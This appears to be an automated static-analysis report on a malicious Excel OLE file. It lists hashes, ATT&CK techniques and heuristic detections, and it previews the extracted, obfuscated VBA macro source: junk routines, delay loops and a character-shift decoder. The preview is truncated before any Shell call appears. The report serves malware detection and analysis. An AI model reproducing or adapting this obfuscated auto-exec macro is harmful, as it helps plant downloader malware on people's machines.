Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bb35c46d7e5dbf48…

MALICIOUS

Office (OLE)

218.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: 23d9f002ec02c191c4acbb2dc30bb083 SHA-1: b00b77d442a4da9de55c76e14c857570282b1a6a SHA-256: bb35c46d7e5dbf48be9d42fcfac352bf1fa260cdd1a906ecb8aad7d13165c006
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The file contains a VBA macro with an Auto_Open subroutine, which is a common technique for executing malicious code upon opening the document. The macro utilizes the Shell() function, combined with character-shift decoding, to execute commands. This strongly suggests the intent is to download and execute a secondary payload, a typical behavior for macro-based malware.

Heuristics 7

  • ClamAV: Doc.Macro.GenericHeuristic-5901772-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5901772-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 69640 bytes
SHA-256: 9ad65a0e864b5376845926a5bc5d6c3906ee2ec4fd4abada33398d808d22bad1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Public Sub fqwsDUVrsCaGkz()

If iUtDwU4kj("zs]KMbJO\n", iUtDwU4kj("@", "7")) = iUtDwU4kj("O}oPmlMuLx|]}NHWtOog]nETpdmJEikQkqy", iUtDwU4kj(":", "7")) Then End

Dim DKGA7rFHS As Integer

DKGA7rFHS = 1

Do While DKGA7rFHS < 27

   DoEvents: DKGA7rFHS = DKGA7rFHS + 1

Loop

Dim xeoOB0Fry As Integer

xeoOB0Fry = 2

Do While xeoOB0Fry < 31

   DoEvents: xeoOB0Fry = xeoOB0Fry + 1

Loop

Dim oRzfJZyuI As String

oRzfJZyuI = iUtDwU4kj("=9:<", "7")

If iUtDwU4kj("oVzOvBUdSyttsxibiM", "1") = iUtDwU4kj("awz}uSw[K�vP", iUtDwU4kj(">", "6")) Then End

Dim Gt7Yessm6 As Integer

Gt7Yessm6 = iUtDwU4kj("8798", iUtDwU4kj(":", "7"))

GoTo rIuyZzKEQTqLldZkB

rIuyZzKEQTqLldZkB:

Dim RuoKXbWzp As Currency

RuoKXbWzp = iUtDwU4kj("<<:9", iUtDwU4kj("@", "7"))

GoTo afcnESbclJEhjPVpxn

afcnESbclJEhjPVpxn:

Dim RquLhxvRL As Integer

RquLhxvRL = 0

Do While RquLhxvRL < 25

   DoEvents: RquLhxvRL = RquLhxvRL + 1

Loop

If iUtDwU4kj("IojkinXRY}_Ofjm^}f", "5") = iUtDwU4kj("so]xnes}llXKlHUj", iUtDwU4kj(":", "7")) Then End

End Sub
Private Sub BFIAZohQyBVy()
Dim JjjKSfHbGewVwH As Integer
JjjKSfHbGewVwH = 13
Do While JjjKSfHbGewVwH < 39
   DoEvents: JjjKSfHbGewVwH = JjjKSfHbGewVwH + 1
Loop

End Sub
Public Function JUaQizNVQgyceKQksiNIJHMxEL()
Dim JjjKSfHbGewVwH As Integer
JjjKSfHbGewVwH = 13
Do While JjjKSfHbGewVwH < 39
   DoEvents: JjjKSfHbGewVwH = JjjKSfHbGewVwH + 1
Loop
Dim uxpNrVTBqKArFPyy As String
uxpNrVTBqKArFPyy = "5707"

End Function

Public Sub majGBfhNhnvkPZaYdAG()

If iUtDwU4kj("zs]KMbJO\n", iUtDwU4kj("@", "7")) = iUtDwU4kj("O}oPmlMuLx|]}NHWtOog]nETpdmJEikQkqy", iUtDwU4kj(":", "7")) Then End

Dim DKGA7rFHS As Integer

DKGA7rFHS = 1

Do While DKGA7rFHS < 27

   DoEvents: DKGA7rFHS = DKGA7rFHS + 1

Loop

Dim xeoOB0Fry As Integer

xeoOB0Fry = 2

Do While xeoOB0Fry < 31

   DoEvents: xeoOB0Fry = xeoOB0Fry + 1

Loop

Dim oRzfJZyuI As String

oRzfJZyuI = iUtDwU4kj("=9:<", "7")

If iUtDwU4kj("oVzOvBUdSyttsxibiM", "1") = iUtDwU4kj("awz}uSw[K�vP", iUtDwU4kj(">", "6")) Then End

Dim Gt7Yessm6 As Integer

Gt7Yessm6 = iUtDwU4kj("8798", iUtDwU4kj(":", "7"))

GoTo rIuyZzKEQTqLldZkB

rIuyZzKEQTqLldZkB:

Dim RuoKXbWzp As Currency

RuoKXbWzp = iUtDwU4kj("<<:9", iUtDwU4kj("@", "7"))

End Sub
Public Sub olIsCIEQhiDFOmTwMtzS()
Dim rqvgZgKlQnqtl As Long
rqvgZgKlQnqtl = "5589"

End Sub
Private Sub BxmGxoBLuuiTvResard()
Dim rqvgZgKlQnqtl As Long
rqvgZgKlQnqtl = "5589"
Dim mEBZuSZUhkyTVf As Integer
mEBZuSZUhkyTVf = "4700"

End Sub
Private Sub dvPjdSyHHGLwpwbonD()
Dim rqvgZgKlQnqtl As Long
rqvgZgKlQnqtl = "5589"
Dim mEBZuSZUhkyTVf As Integer
mEBZuSZUhkyTVf = "4700"
If "piRACQzERc" = "KykLihIqHtxYyJD" Then End

End Sub
Private Sub SpKkcYjAPlYiFAegLgmu()
Dim rqvgZgKlQnqtl As Long
rqvgZgKlQnqtl = "5589"
Dim mEBZuSZUhkyTVf As Integer
mEBZuSZUhkyTVf = "4700"
If "piRACQzERc" = "KykLihIqHtxYyJD" Then End
Dim QczFMrEDTYaRrGyjQSnP As Integer
QczFMrEDTYaRrGyjQSnP = 2
Do While QczFMrEDTYaRrGyjQSnP < 33
   DoEvents: QczFMrEDTYaRrGyjQSnP = QczFMrEDTYaRrGyjQSnP + 1
Loop

End Sub
Public Function bAAckxZtYwNoOaTmUs()
Dim rqvgZgKlQnqtl As Long
rqvgZgKlQnqtl = "5589"
Dim mEBZuSZUhkyTVf As Integer
mEBZuSZUhkyTVf = "4700"
If "piRACQzERc" = "KykLihIqHtxYyJD" Then End
Dim QczFMrEDTYaRrGyjQSnP As Integer
QczFMrEDTYaRrGyjQSnP = 2
Do While QczFMrEDTYaRrGyjQSnP < 33
   DoEvents: QczFMrEDTYaRrGyjQSnP = QczFMrEDTYaRrGyjQSnP + 1
Loop
Dim AQgnpyVQuwdjCzfbbaePVeuUTkadUt As Long
AQgnpyVQuwdjCzfbbaePVeuUTkadUt = "1402"

End Function
Public Function SHcSJQiQPDDf()
Dim rqvgZgKlQnqtl As Long
rqvgZgKlQnqtl = "5589"
Dim mEBZuSZUhkyTVf As Integer
mEBZuSZUhkyTVf = "4700"
If "piRACQzERc" = "KykLihIqHtxYyJD" Then End
Dim QczFMrEDTYaRrGyjQSnP As Integer
QczFMrEDTYaRrGyjQSnP = 2
Do While QczFMrEDTYaRrGyjQSnP < 33
   DoEvents: QczFMrEDTYaRrGyjQSnP = QczFMrEDTYaRrGyjQSnP + 1
Loop
Dim AQgnpyVQuwdjCzfbbaePVeuUTkadUt As Long
AQgnpyVQuwdjCzfbbaePVeuUTkadUt = "1402"
GoTo byQdQOIbYuepurTUqrAZFjyflEMCid
byQdQOI
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.